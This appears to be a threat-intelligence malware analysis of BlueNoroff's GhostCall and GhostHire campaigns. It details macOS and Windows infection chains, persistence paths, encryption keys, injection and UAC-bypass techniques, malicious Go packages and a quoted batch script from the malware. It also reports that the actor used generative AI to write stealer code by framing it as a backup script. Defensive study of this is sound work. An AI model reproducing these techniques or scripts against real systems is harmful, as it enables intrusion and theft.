  It stores the data at /private/var/tmp/<username>_<target application>_<current time>/*

utd.sh is the Telegram stealer module
It targets:

• On macOS version 14 and later:
  • Telegram’s cached resources, such as chat history and media files
  • Encrypted geolocation cache
  • AES session keys used for account takeover
  • Legacy sandbox cache
• On macOS versions earlier than 14:
  • List of configured Telegram accounts
  • Export-key vault
  • Full chat DB, messages, contacts, files, and cached media
    It stores the data at /private/var/tmp/Telegrams_<username>/*

These extremely extensive targets allow the actor to expand beyond simple credentials to encompass their victims’ entire infrastructure. This includes Telegram accounts exploitable for further attacks, supply chain configuration details, and collaboration tools revealing personal notes and business interactions with other users. Notably, the attackers even target the .openai folder to secretly use ChatGPT with the user’s account.

The collected information is immediately archived with the ditto -ck command and uploaded to the initialized C2 server via curl command, using the same approach as in ZoomClutch.

RooTroy chain

We identified a ZIP archive downloaded from the file hosting server that contains a three-component toolset. The final payload, RooTroy.macOS, was also documented in the Huntress’s blog, but we were able to obtain its full chain. The archive includes the following:

• Installer: the primary installer file named "rtv4inst", written in Go
• Loader: an auxiliary loader file named "st" and identified as the Nimcore loader, written in Nim
• Injector: an injector file named "wt", which is identified as GillyInjector, written in C++
• Final payload: RooTroy.macOS, written in Go

Upon the execution of the installer, it immediately checks for the presence of other components and terminates if any are missing. Additionally, it verifies that it has accepted at least two command-line arguments to function properly, as follows.

rvt4inst <MID> <C2> [<Additional C2 domains…>]

• MID (Machine ID): unique identifier for victim tracking
• C2: primary command‑and‑control domain
• Additional C2 values can be supplied

On the first launch, the installer creates several directories and files that imitate legitimate macOS components. Note that these paths are abused only for camouflage; none are genuine system locations.

Num	Path	Role
1	/Library/Google/Cache/.cfg	Configuration
2	/Library/Application Support/Logitechs/versions	Not identified
3	/Library/Application Support/Logitechs/bin/Update Check	Final location of the Nimcore loader (st)
4	/Library/Storage/Disk	baseApp’s potential location 1
5	/Library/Storage/Memory	baseApp’s potential location 2
6	/Library/Storage/CPU/cpumons	Final location of GillyInjector (wt)
7	/Library/LaunchDaemons/<bundle ID>.plist	.plist path for launching st
8	/private/var/tmp/.lesshst	Contains the .plist path

The installer uses the hard‑coded key 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A to serialize its runtime parameters into an RC4‑encrypted blob. The resulting encrypted value is written as .cfg inside /Library/Google/Cache/.

The installer then implements a naming mechanism for the plist name through dynamic bundle ID generation, where it scans legitimate applications in /Applications to create convincing identifiers. It enumerates .app bundles, extracts their names, and combines them with service-oriented terms like “agent”, “webhelper”, “update”, “updater”, “startup”, “service”, “cloudd”, “daemon”, “keystone.agent”, “update.agent”, or “installer” to construct bundle IDs, such as “com.safari.update” or “com.chrome.service”. If the bundle ID generation process fails for any reason, the malware defaults to “com.apple.updatecheck” as a hard-coded fallback identifier.

The installer then deploys the auxiliary binaries from the ZIP extraction directory to their final system locations. The Nimcore loader (st) is copied to /Library/Application Support/Logitechs/bin/Update Check. The GillyInjector binary is renamed to cpumons in the /Library/Storage/CPU path. Both files receive 0755 permissions to ensure executability.

Later, a persistence mechanism is implemented through macOS Launch Daemon plists. The plist template contains four placeholder fields that are filled in during generation:

• The Label field receives the dynamically generated bundle ID.
• The SERVER_AUTH_KEY environment variable is populated with the GillyInjector’s path /Library/Storage/CPU/cpumons that is RC4-encrypted using the hard-coded key "yniERNUgGUHuAhgCzMAi" and then base64-encoded.
• The CLIENT_AUTH_KEY environment variable receives the hard-coded value "..".
• The Program field points to the installed Nimcore loader’s path.

The installer completes the persistence setup by using legitimate launchctl commands to activate the persistence mechanism, ensuring the Nimcore loader is executed. It first runs “launchctl unload <bundle ID>.plist” on any existing plist with the same name to remove previous instances, then executes “launchctl load <bundle ID>.plist” to activate the new persistence configuration through /bin/zsh -c.

The second stage in this execution chain is the Nimcore loader, which is deployed by the installer and specified in the Program field of the plist file. This loader reads the SERVER_AUTH_KEY environment variable with getenv(), base64-decodes the value, and decrypts it with the same RC4 key used by the installer. The loader is able to retrieve the necessary value because both SERVER_AUTH_KEY and CLIENT_AUTH_KEY are provided in the plist file and filled in by the installer. After decryption, it invokes posix_spawn() to launch GillyInjector.

GillyInjector is the third component in the RooTroy chain and follows the same behavior as described in the CosmicDoor chain. In this instance, however, the password used for generation is hard-coded as xy@bomb# within the component. The baseApp is primarily responsible for displaying only a simple message and acts as a carrier to keep the injected final payload in memory during runtime.

The final payload is identified as RooTroy.macOS, written in Go. Upon initialization, RooTroy.macOS reads its configuration from /Library/Google/Cache/.cfg, a file created by the primary installer, and uses the RC4 algorithm with the same 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A key to decrypt it. If it fails to read the config file, it removes all files at /Library/Google/Cache and exits.

As the payload is executed at every boot time via a plist setup, it prevents duplicate execution by checking the .pid file in the same directory. If a process ID is found in the file, it terminates the corresponding process and writes the current process ID into the file. Additionally, it writes the string {"rt": "4.0.0."} into the .version file, also located in the same directory, to indicate the current version. This string is encrypted using RC4 with the key C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF.

This backdoor executes commands from the /Library/Google/Cache/.startup file line by line. Each line is executed via /bin/zsh -c "[command]" in a separate process. It also monitors the user’s login status and re-executes the commands when the user logs back in after being logged out.

Next, RooTroy collects and lists all mounted volumes and running processes. It then enters an infinite loop, repeatedly re-enumerating the volumes to detect any changes – such as newly connected USB drives, network shares, or unmounted devices – and uses a different function to identify changes in the list of processes since the last iteration. It sends the collected information to the C2 server via a POST request to /update endpoint with Content-Type: application/json.

The data field in the response from the C2 server is executed directly via AppleScript with osascript -e. When both the url and auth fields are present, RooTroy connects to the URL with GET method and the Authorization header to retrieve additional files. Then it sleeps for five seconds and repeats the process.

Additional files are loaded as outlined below:

1. Generate a random 10-character file name in the temp directory: /private/tmp/[random-chars]{10}.zip.
2. Save the downloaded data to that file path.
3. Extract the ZIP file using ditto -xk /private/tmp/[random-chars]{10}.zip /private/tmp/[random-chars]{10}.
4. Make the file executable using chmod +x /private/tmp/[random-chars]{10}/install.
5. Likely install additional components by executing /bin/zsh /private/tmp/[random-chars]{10}/install /private/tmp/[random-chars]{10} /private/tmp/[random-chars]{10}/.result.
6. Check the .result file for the string “success”.
7. Send result to /report endpoint.
8. Increment the cid field and save the configuration.
9. Clean up all temp files.

We also observed the RooTroy backdoor deploying files named keyboardd to the /Library/keyboard directory and airmond to the /Library/airplay path, which were confirmed to be a keylogger and an infostealer.

RealTimeTroy chain

We recently discovered GillyInjector containing an encrypted RealTimeTroy.macOS payload from the public multiscanning service.

• Injector: GillyInjector written in C++
• baseApp: the file named “ChromeUpdates” in the same ZIP file (not secured)
• Final payload: RealTimeTroy.macOS, written in Go

RealTimeTroy is a straightforward backdoor written in the Go programming language that communicates with a C2 server using the WSS protocol. We have secured both versions of this malware. In the second version, the baseApp named “ChromeUpdates” should be bundled along with the injector into a ZIP file. While the baseApp data is included in the same manner as in other GillyInjector instances, it is not actually used. Instead, the ChromeUpdates file is copied to the path specified as the first parameter and executed as the base application for the injection.

This will be explained in more detail in the GhostHire campaign section as the payload RealTimeTroy.macOS performs actions identical to the Windows version, with some differences in the commands. Like the Windows version, it injects the payload upon receiving command 16. However, it uses functionality similar to GillyInjector to inject the payload received from the C2. The password for AES decryption and the hardcoded baseApp within RealTimeTroy have been identified as being identical to the ones contained within the existing GillyInjector (MD5 76ACE3A6892C25512B17ED42AC2EBD05).

Additionally, two new commands have been added compared to the Windows version, specifically for handling commands via the pseudo-terminal. Commands 20 and 21 are used to respectively spawn and exit the terminal, which is used for executing commands received from command 8.

We found the vcs.time metadata within the second version of RealTimeTroy.macOS, which implies the commit time of this malware, and this value was set to 2025-05-29T12:22:09Z.

SneakMain chain

During our investigation into various incidents, we were able to identify another infection chain involving the macOS version of SneakMain in the victims’ infrastructures. Although we were not able to secure the installer malware, it would operate similar to the RooTroy chain, considering the behavior of its loader.

• Installer: the primary installer (not secured)
• Loader: Identified as Nimcore loader, written in Nim
• Final payload: SneakMain.macOS, written in Nim

The Nimcore loader reads the SERVER_AUTH_KEY and CLIENT_AUTH_KEY environment variables upon execution. Given the flow of the RooTroy chain, we can assume that these values are provided through the plist file installed by an installer component. Next, the values are base64-decoded and then decrypted using the RC4 algorithm with the hard-coded key vnoknknklfewRFRewfjkdlIJDKJDF, which is consistently used throughout the SneakMain chain. The decrypted SERVER_AUTH_KEY value should represent the path to the next payload to be executed by the loader, while the decrypted CLIENT_AUTH_KEY value is saved to the configuration file located at /private/var/tmp/cfg.

We have observed that this loader was installed under the largest number of various names among malware as follows:

• /Library/Application Support/frameworks/CloudSigner
• /Library/Application Support/frameworks/Microsoft Excel
• /Library/Application Support/frameworks/Hancom Office HWP
• /Library/Application Support/frameworks/zoom.us
• /Library/Application Support/loginitems/onedrive/com.onedrive.updater

The payload loaded by the Nimcore loader has been identified as SneakMain.macOS, written in the Nim programming language. Upon execution, it reads its configuration from /private/var/tmp/cfg, which is likely created by the installer. The configuration’s original contents are recovered through RC4 decryption with the same key and base64 decoding. In the configuration, a C2 URL and machine ID (mid) are concatenated with the pipe character (“|”). Then SneakMain.macOS constructs a JSON object containing this information, along with additional fields such as the malware’s version, current time, and process list, which is then serialized and sent to the C2 server. The request includes the header Content-Type: application/json.

As a response, the malware receives additional AppleScript commands and uses the osascript -e command to execute them. If it fails to fetch the response, it tries to connect to a default C2 server every minute. There are two URLs hard-coded into the malware: hxxps://file-server[.]store/update and hxxps://cloud-server[.]store/update.

One interesting external component of this chain is the configuration updater. This updater verifies the presence of the configuration file and updates the C2 server address to hxxps://flashserve[.]store/update with the same encryption method, while preserving the existing mid value. Upon a successful update, it outputs the updated configuration to standard output.

Beside the Nim-based chain, we also identified a previous version of the SneakMain.macOS binary, written in Rust. This version only consists of a launcher and the Rust-based SneakMain. It is expected to create a corresponding plist for regular execution, but this has not yet been discovered. The Rust version supports two execution modes:

• With arguments: the malware uses the C2 server and mid as parameters
• Without arguments: the malware loads an encrypted configuration file located at /Library/Scripts/Folder Actions/Check.plist

This version collects a process list only at a specific time during execution, without checking newly created or terminated processes. The collected list is then sent to the C2 server via a POST request to hxxps://chkactive[.]online/update, along with the current time (uid) and machine ID (mid), using the Content-Type: application/json header. Similarly, it uses the osascript -e command to execute commands received from the C2 server.

DownTroy v2 chain

The DownTroy.macOS v2 infection chain is the latest variant, composed of four components, with the payload being an AppleScript and the rest written in Nim. It was already covered by SentinelOne under the name of “NimDoor”. The Nimcore loader in this chain masquerades as Google LLC, using an intentional typo by replacing the “l” (lowercase “L”) in “Google LLC” with an “I” (uppercase “i”).

• Installer: the primary installer file named "installer", written in Nim
• Dropper: a dropper file named "CoreKitAgent", written in Nim
• Loader: an auxiliary loader file named "GoogIe LLC" and identified as Nimcore loader, written in Nim
• Final payload: DownTroy.macOS, written in AppleScript

The installer, which is likely downloaded and initiated by a prior malicious script, serves as the entry point for this process. The dropper receives an interrupt (SIGINT) or termination signal (SIGTERM) like in the DownTroy v1 chain, recreating the components on disk to recover them. Notably, while the previously described RooTroy and SneakMain chains do not have this recovery functionality, we have observed that they configure plist files to automatically execute the Nimcore loader after one hour if the process terminates, and they retain other components. This demonstrates how the actor strategically leverages DownTroy chains to operate more discreetly, highlighting some of the key differences between each chain.

The installer should be provided with one parameter and will exit if executed without it. It then copies ./CoreKitAgent and ./GoogIe LLC from the current location to ~/Library/CoreKit/CoreKitAgent and ~/Library/Application Support/Google LLC/GoogIe LLC, respectively. Inside of the installer, com.google.update.plist (the name of the plist) is hard-coded to establish persistence, which is later referenced by the dropper and loader. The installer then concatenates this value, the given parameter, and the dropper’s filename into a single string, separated by a pipe (“|”).

This string is encrypted using the AES algorithm with a hard-coded key and IV, and the resulting encrypted data is then saved to the configuration file.

• Key: 5B77F83ECEFA0E32BA922F61C9EFFF7F755BA51A010DB844CA7E8AD3DB28650A
• IV: 2B499EB3865A7EF17264D15252B7F73E
• Configuration file path: /private/tmp/.config

It fulfills its function by ultimately executing the copied dropper located at ~/Library/CoreKit/CoreKitAgent.

The dropper in the DownTroy v2 chain uses macOS’s kqueue alongside Nim’s async runtime to manage asynchronous control flow, similar to CosmicDoor, the Nimcore loader in the RooTroy chain, and the Nim version of SneakMain.macOS. The dropper monitors events via kqueue, and when an event is triggered, it resumes the corresponding async tasks through a state machine managed by Nim. The primary functionality is implemented in state 1 of the async state machine.

The dropper then reads the encrypted configuration from /private/tmp/.config and decrypts it using the AES algorithm with the hard-coded key and IV, which are identical to those used in the installer. By splitting the decrypted data with a “|”, it extracts the loader path, the plist path, and the parameter provided to the installer. Next, it reads all the contents of itself and the loader, and deletes them along with the plist file in order to erase any trace of their existence. When the dropper is terminated, a handler function is triggered that utilizes the previously read contents to recreate itself and the loader file. In addition, a hard-coded hex string is interpreted as ASCII text, and the decoded content is written to the plist file path obtained from the configuration.

In the contents above, variables enclosed in %’s are replaced with different strings based on hard-coded values and configurations. Both authentication key variables are stored as encrypted strings with the same AES algorithm as used for the configuration.

• %label% -> com.google.update
• %server_auth_key% -> AES-encrypted selfpath (~/Library/CoreKit/CoreKitAgent)
• %client_auth_key% -> AES-encrypted configuration
• %program% -> loader path (~/Library/Application Support/Google LLC/GoogIe LLC)

The core functionality of this loader is to generate an AppleScript file using a hard-coded hex string and save it as .ses in the same directory. The script, identified as DownTroy.macOS, is designed to download an additional malicious script from a C2 server. It is nearly identical to the one used in the DownTroy v1 chain, with the only differences being the updated C2 servers and the curl command option.

We have observed three variants of this chain, all of which ultimately deploy the DownTroy.macOS malware but communicate with different C2 servers. Variant 1 communicates with the same C2 server as the one configured in the DownTroy v1 chain, though it appears in a hex-encoded form.

	Config path	C2 server	Curl command
Variant 1	/private/var/tmp/cfg	hxxps://bots[.]autoupdate[.]online:8080/test	curl –no-buffer -X POST -H
Variant 2	/private/tmp/.config	hxxps://writeup[.]live/test, hxxps://safeup[.]store/test	curl –connect-timeout 30 –max-time 60 –no-buffer -X POST -H
Variant 3	/private/tmp/.config	hxxps://api[.]clearit[.]sbs/test, hxxps://api[.]flashstore[.]sbs/test	curl –connect-timeout 30 –max-time 60 –no-buffer -X POST -H

The configuration file path used by variant 1 is the same as that of SneakMain. This indicates that the actor transitioned from the SneakMain chain to the DownTroy chain while enhancing their tools, and this variant’s dropper is identified as an earlier version that reads the plist file directly.

SysPhon chain

Unlike other infection chains, the SysPhon chain incorporates an older set of malware: the lightweight version of RustBucket and the known SugarLoader. According to a blog post by Field Effect, the actor deployed the lightweight version of RustBucket, which we dubbed “SysPhon”, alongside suspected SugarLoader malware and its loader, disguised as a legitimate Wi-Fi updater. Although we were unable to obtain the suspected SugarLoader malware sample or the final payloads, we believe with medium-low confidence that this chain is part of the same campaign by BlueNoroff. This assessment is based on the use of icloud_helper (a tool used for stealing user passwords) and the same initial infection vector as before: a fake Zoom link. It’s not surprising, as both malicious tools have already been attributed to BlueNoroff, indicating that the tools were adapted for the campaign.

Considering the parameters and behavior outlined in the blog post above, an AppleScript script deployed icloud_helper to collect the user’s password and simultaneously installed the SysPhon malware. The malware then downloaded SugarLoader, which connected to the C2 server and port pair specified as a parameter. This ultimately resulted in the download of a launcher to establish persistence. Given this execution flow and SugarLoader’s historical role in retrieving the KANDYKORN malware, it is likely that the final payload in the chain would be KANDYKORN or another fully-featured backdoor.

SysPhon is a downloader written in C++ that functions similarly to the third component of the RustBucket malware, which was initially developed in Rust and later rewritten in Swift. In March 2024, an ELF version of the third component compatible with Linux was uploaded to a multi-scanner service. In November 2024, SentinelOne reported on SysPhon, noting that it is typically distributed via a parent downloader that opens a legitimate PDF related to cryptocurrency topics. Shortly after the report, a Go version of SysPhon was also uploaded to the same scanner service.

SysPhon requires a C2 server specified as a parameter to operate. When executed, it generates a 16-byte random ID and retrieves the host name. It then enters a loop to conduct system reconnaissance by executing a series of commands:

Information to collect	Command
macOS version	sw_vers –ProductVersion
Current timezone	date +%Z
macOS installation log (Update, package, etc)	grep “Install Succeeded” /var/log/install.log awk ‘{print $1, $2}’
Hardware information	sysctl -n hw.model
Process list	ps aux
System boot time	sysctl kern.boottime

The results of these commands are then sent to the specified C2 server inside a POST request with the following User-Agent header: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0). This User-Agent is the same as the one used in the Swift implementation of the RustBucket variant.

ci[random ID][hostname][macOS version][timezone][install log][boot time][hw model][current time][process list]

After sending the system reconnaissance data to the C2 server, SysPhon waits for commands. It determines its next action by examining the first character of the response it receives. If the response begins with 0, SysPhon executes the binary payload; if it’s 1, the downloader exits.

AI-powered attack strategy

While the video feeds for fake calls were recorded via the fabricated Zoom phishing pages the actor created, the profile images of meeting participants appear to have been sourced from job platforms or social media platforms such as LinkedIn, Crunchbase, or X. Interestingly, some of these images were enhanced with GPT-4o. Since OpenAI implemented the C2PA standard specification metadata to identify the generated images as artificial, the images created via ChatGPT include metadata that indicates their synthetic origin, which is embedded in file formats such as PNGs.

Among these were images whose filenames were set to the target’s name. This indicates the actor likely used the target’s publicly available profile image to generate a suitable profile for use alongside the recorded video. Furthermore, the inclusion of Zoom’s legitimate favicon image leads us to assess with medium-high confidence that the actor is leveraging AI for image enhancement.

In addition, the secrets stealer module of SilentSiphon, secrets.sh, includes several comment lines. One of them uses a checkmark emoticon to indicate archiving success, although the comment was related to the backup being completed. Since threat actors rarely use comments, especially emoticons, in malware intended for real attacks, we suggest that BlueNoroff uses generative AI to write malicious scripts similar to this module. We assume they likely requested a backup script rather than an exfiltration script.

The GhostHire campaign

The GhostHire campaign was less visible than GhostCall, but it also began as early as mid-2023, with its latest wave observed recently. It overlaps with the GhostCall campaign in terms of infrastructure and tools, but instead of using video calls, the threat actors pose as fake recruiters to target developers and engineers. The campaign is disguised as skill assessment to deliver malicious projects, exploiting Telegram bots and GitHub as delivery vehicles. Based on historical attack cases of this campaign, we assess with medium confidence that this attack flow involving Telegram and GitHub represents the latest phase, which started no later than April this year.

Initial access

The actor initiates communication with the target directly on Telegram. Victims receive a message with a job offer along with a link to a LinkedIn profile that impersonates a senior recruiter at a financial services company based in the United States.

We observed that the actor uses a Telegram Premium account to enhance their credibility by employing a custom emoji sticker featuring the company’s logo. They attempt to make the other party believe they are in contact with a legitimate representative.

During the investigation, we noticed suspicious changes made to the Telegram account, such as a shift from the earlier recruiter persona to impersonating individuals associated with a Web3 multi-gaming application. The actor even changed their Telegram handle to remove the previous connection.

During the early stages of our research and ongoing monitoring of publicly available malicious repositories, we observed a blog post published by a publicly cited target. In this post, the author shares their firsthand experience with a scam attempt involving the same malicious repositories we already identified. It provided us with valuable insight into how the group initiates contact with a target and progresses through a fake interview process.

Following up on initial communication, the actor adds the target to a user list for a Telegram bot, which displays the impersonated company’s logo and falsely claims to streamline technical assessments for candidates. The bot then sends the victim an archive file (ZIP) containing a coding assessment project, along with a strict deadline (often around 30 minutes) to pressure the target into quickly completing the task. This urgency increases the likelihood of the target executing the malicious content, leading to initial system compromise.

The project delivered through the ZIP file appears to be a legitimate DeFi-related project written in Go, aiming at routing cryptocurrency transactions across various protocols. The main project code relies on an external malicious dependency specified in the go.mod file, rather than embedding malicious code directly into the project’s own files. The external project is named uniroute. It was published in the official Go packages repository on April 9, 2025.

We had observed this same repository earlier in our investigation, prior to identifying the victim’s blog post, which later validated our findings. In addition to the Golang repository, we discovered a TypeScript-based repository uploaded to GitHub that has the same download function.

Upon execution of the project, the malicious package is imported, and the GetUniRoute() function is called during the initialization of the unirouter at the following path: contracts/UniswapUniversalRouter.go. This function call acts as the entry point for the malicious code.

Malicious Golang packages

The malicious package consists of several files:

uniroute
├── README.md
├── dar.go
├── go.mod
├── go.sum
├── lin.go
├── uniroute.go
└── win.go

The main malicious logic is implemented in the following files:

1. uniroute.go: the main entry point
2. win.go: Windows-specific malicious code
3. lin.go: Linux-specific malicious code
4. dar.go: macOS (Darwin)-specific malicious code

The main entry point of the package includes a basic base64-encoded blob that is decoded to a URL hosting the second-stage payload: hxxps://download.datatabletemplate[.]xyz/account/register/id=8118555902061899&secret=QwLoOZSDakFh.

When the User-Agent of the running platform is detected, the corresponding payload is retrieved and executed. The package utilizes Go build tags to execute different code depending on the operating system.

• Windows (win.go). Downloads its payload to %TEMP%\init.ps1 and performs anti-antivirus checks by looking for the presence of the 360 Security process. If the 360 antivirus is not detected, the malware generates an additional VBScript wrapper at %TEMP%\init.vbs. The PowerShell script is then covertly executed with a bypassed execution policy, without displaying any windows to the user.
• Linux (lin.go). Downloads its payload to /tmp/init and runs it as a bash script with nohup, ensuring the process continues running even after the parent process terminates.
• macOS (dar.go). Similarly to Linux, downloads its payload to /tmp/init and uses osascript with nohup to execute it.

We used our open source package monitoring tool to discover that the actor had published several malicious Go packages with behavior similar to uniroute. These packages are imported into repositories and executed within a specific section of the code.

Package	Version	Published date	Role
sorttemplate	v1.1.1 ~ v1.1.5	Jun 11, 2024 ~ Apr 17, 2025	Malicious dependency
sort	v1.1.2 ~ v1.1.7	Nov 10, 2024 ~ Apr 17, 2025	Refers to the malicious sorttemplate
sorttemplate	v1.1.1	Jan 10, 2025	Malicious dependency
uniroute	v1.1.1 ~ v2.1.5	Apr 2, 2025 ~ Apr 9, 2025	Malicious dependency
BaseRouter	–	Apr 5, 2025 ~ Apr 7, 2025	Malicious dependency

Malicious TypeScript project

Not only did we observe attacks involving malicious Golang packages, but we also identified a malicious Next.js project written in TypeScript and uploaded to GitHub. This project includes TypeScript source code for an NFT-related frontend task. The project acts in a similar fashion to the Golang ones, except that there is no dependency. Instead, a malicious TypeScript file within the project downloads the second-stage payload from a hardcoded URL.

The malicious behavior is implemented in pages/api/hello.ts, and the hello API is fetched by NavBar.tsx with fetch('/api/hello').

wallet-portfolio
├── README.md
├── components
│   ├── navBar
│   │   ├── NavBar.tsx ##### caller
...
├── data
├── next.config.js
├── package-lock.json
├── package.json
├── pages
│   ├── 404.tsx
│   ├── _app.tsx
│   ├── _document.tsx
│   ├── api
│   │   ├── 404.ts
│   │   ├── app.ts
│   │   ├── hello.ts ##### malicious
...
│   ├── create-nft.tsx
│   ├── explore-nfts.tsx
...

We have to point out that this tactic isn’t unique to BlueNoroff. Lazarus, being BlueNoroff’s parent group, was the first to adopt it, and the Contagious Interview campaign also uses it. However, the GhostHire campaign stands apart because it uses a completely different set of malware chains.

DownTroy: multi-platform downloader

Upon accessing the URL with the correct User-Agent, corresponding scripts are downloaded for each OS: PowerShell for Windows, bash script for Linux, and AppleScript for macOS, which all turned out to be the DownTroy malware. It is the same as the final payload in the DownTroy chains from the GhostCall campaign and has been expanded to include versions for both Windows and Linux. In the GhostHire campaign, this script serves as the initial downloader, fetching various malware chains from a file hosting server.

Over the course of tracking this campaign, we have observed multiple gradual updates to these DownTroy scripts. The final version shows that the PowerShell code is XOR-encrypted, and the AppleScript has strings split by individual characters. Additionally, all three DownTroy strains collect comprehensive system information including OS details, domain name, host name, username, proxy settings, and VM detection alongside process lists.

Full infection chain on Windows

In January 2025, we identified a victim who had executed a malicious TypeScript project located at <company name>-wallet-portfolio, which followed the recruiter persona from the financial company scenario described earlier. The subsequent execution of the malicious script created the files init.vbs and init.ps1 in the %temp% directory.

The DownTroy script (init.ps1) was running to download additional malware from an external server every 30 seconds. During the attack, two additional script files, chsplitobf.ps1 and sinst.bat, were downloaded and executed on the infected host. Though we weren’t able to obtain the files, based on our detection, we assess the PowerShell script harvests credentials stored in a browser, similar to SilentSiphon on macOS.

In addition, in the course of the attack, several other payloads written in Go and Rust rather than scripts, were retrieved from the file hosting server dataupload[.]store and executed.

New method for payload delivery

In contrast to GhostCall, DownTroy.Windows would retrieve a base64-encoded binary blob from the file hosting server and inject it into the cmd.exe process after decoding. This blob typically consists of metadata, a payload, and the loader code responsible for loading the payload. The first five bytes of the blob represent a CALL instruction that invokes the loader code, followed by 0x48 bytes of metadata. The loader, which is 0xD6B bytes in size, utilizes the metadata to load the payload into memory. The payload is written to newly allocated space, then relocated, and its import address table (IAT) is rebuilt from the same metadata. Finally, the payload is executed with the CreateThread function.

The metadata contains some of the fields from PE file format, such as an entry point of the payload, imagebase, number of sections, etc, needed to dynamically load the payload. The payload is invoked by the loader by referencing the metadata stored separately, so it has a corrupted COFF header when loaded. Generally, payloads in PE file format should have a legitimate header with the corresponding fields, but in this case, the top 0x188 bytes of the PE header of the payload are all filled with dummy values, making it difficult to analyze and detect.

UAC bypass

We observed that the first thing the actor deployed after DownTroy was installed was the User Account Control (UAC) bypass tool. The first binary blob fetched by DownTroy contained the payload bypassing UAC that used a technique disclosed in 2019 by the Google Project Zero team. This RPC-based UAC bypass leveraging the 201ef99a-7fa0-444c-9399-19ba84f12a1a interface was also observed in the KONNI malware execution chain in 2021. However, the process that obtains the privilege had been changed from Taskmgr.exe to Computerdefaults.exe.

The commands executed through this technique are shown below. In this case, this.exe is replaced by the legitimate explorer.exe due to parent PID spoofing.

In other words, the actor was able to run DownTroy with elevated privileges, which is the starting point for all further actions. It also executed init.vbs, the launcher that runs DownTroy, with elevated privileges.

RooTroy.Windows in Go

RooTroy.Windows is the first non-scripted malware installed on an infected host. It is a simple downloader written in Go, same to the malware used in the GhostCall campaign. Based on our analysis of RooTroy’s behavior and execution flow, it was loaded and executed by a Windows service named NetCheckSvc.

Although we did not obtain the command or installer used to register the NetCheckSvc service, we observed that the installer had been downloaded from dataupload[.]store via DownTroy and injected into the legitimate cmd.exe process with the parameter -m yuqqm2ced6zb9zfzvu3quxtrz885cdoh. The installer then probably created the file netchksvc.dll at C:\Windows\system32 and configured it to run as a service named NetCheckSvc. Once netchksvc.dll was executed, it loaded RooTroy into memory, which allowed it to operate in the memory of the legitimate svchost.exe process used to run services in Windows.

RooTroy.Windows initially retrieves configuration information from the file C:\Windows\system32\smss.dat. The contents of this file are decrypted using RC4 with a hardcoded key: B3CC15C1033DE79024F9CF3CD6A6A7A9B7E54A1A57D3156036F5C05F541694B7. This key is different from the one used in the macOS variant of this malware, but the same C2 URLs were used in the GhostCall campaign: readysafe[.]xyz and safefor[.]xyz.

Then RooTroy.Windows creates a string object {"rt": "5.0.0"}, which is intended to represent the malware’s version. This string is encrypted using RC4 with another hardcoded string, C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF. It is the same as the key used in RooTroy.macOS, and it is stored at C:\ProgramData\Google\Chrome\version.dat.

Next, the malware collects device information, including lists of current, new and terminated processes, OS information, boot time, and more, which are all structured in a JSON object. It then sends the collected data to the C2 server using the POST method with the Content-Type: application/json header.

The response is parsed into a JSON object to extract additional information required for executing the actual command. The commands are executed based on the value of the type field in the response, with each command processing its corresponding parameters in the required object.

Value of type	Description
0	Send current configuration to C2
1	Update received configuration with the configuration file (smss.dat)
2	Payload injection
3	Self-update

If the received value of type is 2 or 3, the responses include a common source field within the parsed data, indicating where the additional payload originates. Depending on the value of source, the data field in the parsed data contains either the file path where the payload is stored on the disk, the C2 server address from which it should be downloaded, or the payload itself encoded in base64. Additionally, if the cipher field is set to true, the key field is used as the RC4 decryption key.

Value of source	Description	Value of data
0	Read payload from a specific file	File path
1	Fetch payload from another server	C2 address
2	Delivered by the current JSON object	base64-encoded payload

If the value of type is set to 2, the injection mode, referred to as peshooter in the code, is activated to execute an additional payload into memory. This mode checks whether the payload sourced from the data field is encrypted by examining the cipher value as a flag in the parsed data. If it is, the payload is decrypted with the RC4 algorithm. If no key is provided in the key value, a hardcoded string, A6C1A7CE43B029A1EF4AE69B26F745440ECCE8368C89F11AC999D4ED04A31572, is used as the default key.

If the pid value is not specified (e.g., set to -1), the process with the name provided in the process field is executed in suspended mode, with the optional argument value as its input. Additionally, if a sid value is provided at runtime, a process with the corresponding session ID is created. If a pid value is explicitly given, the injection is performed into that specific process.

Before performing the injection, the malware enables the SeDebugPrivilege privilege for process injection and unhooks the loaded ntdll.dll for the purpose of bypassing detection. This is a DLL unhooking technique that dynamically loads and patches the .text section of ntdll.dll to bypass the hooking of key functions by security software to detect malicious behavior.

Once all the above preparations are completed, the malware finally injects the payload into the targeted process.

If the value of type is set to 3, self-update mode is activated. Similar to injection mode, it first checks whether the payload sourced from the data is encrypted and, if so, decrypts it using RC4 with a hardcoded key: B494A0AE421AFE170F6CB9DE2C1193A78FBE16F627F85139676AFC5D9BFE93A2. A random 32-byte string is then generated, and the payload is encrypted using RC4 with this string as the key. The encrypted payload is stored in the file located at C:\Windows\system32\boot.sdl, while the generated random key is saved unencrypted in C:\Windows\system32\wizard.sep. This means the loader will read the wizard.sep file to retrieve the RC4 key, use it to decrypt the payload from boot.sdl, and then load it.

After successfully completing the update operation, the following commands are created under the filename update-[random].bat in the %temp% directory:

@echo off
set SERVICE_NAME=NetCheckSvc
sc stop %SERVICE_NAME% >nul 2>&1
sc start %SERVICE_NAME% >nul 2>&1
start "" cmd /c del "%~f0" >nul 2>&1

This batch script restarts a service called NetCheckSvc and self-deletes, which causes the loader netchksvc.dll to be reloaded. In other words, the self-update mode updates RooTroy itself by modifying two files mentioned above.

According to our telemetry, we observed that the payload called RealTimeTroy was fetched by RooTroy and injected into cmd.exe  process with the injected wss://signsafe[.]xyz/update parameter.

RealTimeTroy in Go

The backdoor requires at least two arguments: a simple string and a C2 server address. Before connecting to the given C2 server, the first argument is encrypted using the RC4 algorithm with the key 9939065709AD8489E589D52003D707CBD33AC81DC78BC742AA6E3E811BA344C and then base64 encoded. In the observed instance, this encoded value is passed to the “p” (payload) field in the request packet.

The entire request packet is additionally encrypted using RC4 algorithm with the key 4451EE8BC53EA7C148D8348BC7B82ACA9977BDD31C0156DFE25C4A879A1D2190. RealTimeTroy then sends this encrypted message to the C2 server to continue communication and receive commands from the C2.

